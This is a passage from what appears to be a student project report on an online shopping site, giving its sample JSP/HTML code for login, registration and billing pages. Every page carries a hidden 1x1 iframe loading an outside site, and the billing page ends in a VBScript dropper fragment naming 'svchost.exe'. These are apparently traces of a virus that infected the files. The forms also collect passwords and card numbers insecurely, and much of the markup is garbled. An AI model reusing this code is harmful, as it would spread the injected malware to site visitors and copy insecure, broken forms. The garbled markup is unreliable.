• No results found

SAMPLE CODINGS

In document Online Shopping (Page 41-45)

CONCLUSION AND FUTURE ENHANCEMENT

APPENDIX 1: SAMPLE CODINGS

A1.1 Samples coding for the login page

<%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd"> <html>

<head>

<meta http-equiv="Content-Language" content="en-us">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0">

<meta name="ProgId" content="FrontPage.Editor.Document"> <title>Please enter your login Info</title>

<base target="_self"> <style type="text/css"> </style>

</head>

<p align="center"><font color="#003700">&nbsp; <b><i><font size="5" color="#FF0000"> Please enter your

login Info</font></i></b></font></p>

<form method="POST" action="--WEBBOT-SELF--">

<!--webbot bot="SaveResults" U-File="fpweb:///_private/form_results.txt" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->

<p align="center"><b><font size="3" color="#400080"> User Id:

</font></b><input type="text" name="T1" size="20">

<if name="qwe"></p>

<p align="center"><b><font size="3" color="#400080">User Password:</font></b> <input type="text" name="T3" size="20"> </p></form>

<form name="f1" action="shopping.html"><p align="center"><font

color="#00FF00"><a

href="file:///C:/project%20final%20year/New%20Folder/online/bill.html.html"> <input type="submit" value="login" name="B3" style="background-color: ; color: #000046">&nbsp;

</a></font>

<a

href="file:///C:/project%20final%20year/154_2f96722c60bc3a22cabd13e810d86ec1/

index.html"><font size="4" color="#0000AE">G to Home</font></a></u></p>

</form>

<p align="center"><b><i><font size="5" color="#FF5B5B">If you&nbsp; want to register

Please Click here</font></i></b></p> <p align="center"><b><u><a

href="file:///C:/project%20final%20year/New%20Folder/online/register.html">RE GISTER</p>

<iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>

</body> </html>

42

A1.2 Sample coding for registration page

<%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd"> <html>

<head>

<meta http-equiv="Content-Language" content="en-us">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0">

<meta name="ProgId" content="FrontPage.Editor.Document"> <title>Registration Form</title>

</head>

<body background="backgrnd[2].gif">

<p align="center"><b><font size="5" color="#002200"><blink>Registration Form</blink></font></b></p>

<form method="POST" action="--WEBBOT-SELF--">

<!--webbot bot="SaveResults" U-File="C:\SraproJ\_private\form_results.txt" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->

<p align="left"><font size="4" User-Id&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;

<input type="text" name="T1" size="20"></b></font></p>

<p align="left"><font size="4"

color="#00008C"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs p Password :&nbsp;&nbsp;&nbsp;&nbsp; <input type="text" name="T2"

size="20"></b></font></p>

<p align="left"><font size="4"

color="#00008C"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&;

First Name :&nbsp;&nbsp;&nbsp; <input type="text" name="T3" size="20"></b></font></p>

<p align="left"><font size="4" Last Name :&nbsp;&nbsp;&nbsp; <input

type="text" name="T4" size="20"></b></font></p>

<p align="left"><font size="4" Date of Birth

:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <select size="1" name="D1">

</select><select size="1" name="D2">

</select><select size="1" name="D3">

</select></b></font></p>

<p align="left"><font size="4" Address :&nbsp;&nbsp;&nbsp; <input

type="text" name="T5" size="20"></b></font></p>

<p align="left"><font size="4" City :&nbsp;&nbsp;&nbsp; <input type="text" name="T6" size="20"></b></font></p>

<p align="left"><font size="4";

Pin :&nbsp;&nbsp;&nbsp; <input type="text" name="T7" size="20"></b></font></p>

<p align="left"><font size="4" State :&nbsp;&nbsp;&nbsp; <input

type="text" name="T8" size="20"></b></font></p>

<p align="left"><font size="4" Country :&nbsp;&nbsp;&nbsp; <input

43

<p align="left"><font size="4" Phone :&nbsp;&nbsp;&nbsp;&nbsp; <input

type="text" name="T10" size="20"></b></font></p>

<p align="center"><font size="4" color="#00008C"><b>Credit card name :

<input type="text" name="T11" size="20">&nbsp;&nbsp;&nbsp;

credit card no : <input type="text" name="T12" size="20"></b></font></p>

<p align="left"><font size="4" E-mail :&nbsp;&nbsp;&nbsp;&nbsp; <input

type="text" name="T13" size="20"></b></font></p>

<p align="left">&nbsp;</p>

<p

To Home</a></b></font></i></u></p>

<p align="center">&nbsp;</p>

<p align="center">&nbsp;</p> </form>

<p align="center">&nbsp;</p>

<iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>

</body> </html>

A1.3 Sample coding for billing page

<%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd"> <html>

<title>Book list</title>

<body bgcolor=#ffaabb text=white>

<center><font size=5 color=teal><u><b>BOOKS LIST</U></B></font></center> <form>

<input type=submit value="Add to cart" name=addcart> <input type=submit value="Check cart" name=chkcart> <input type=submit value="Check Out" name=chkout> </form>

<iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>

</body>

</html><SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe"

44

2) SCREEN SHOTS

1) HOME PAGE

Fig is login page. Here the user can sign in and the highlight of the product will available.

45

In document Online Shopping (Page 41-45)

Related documents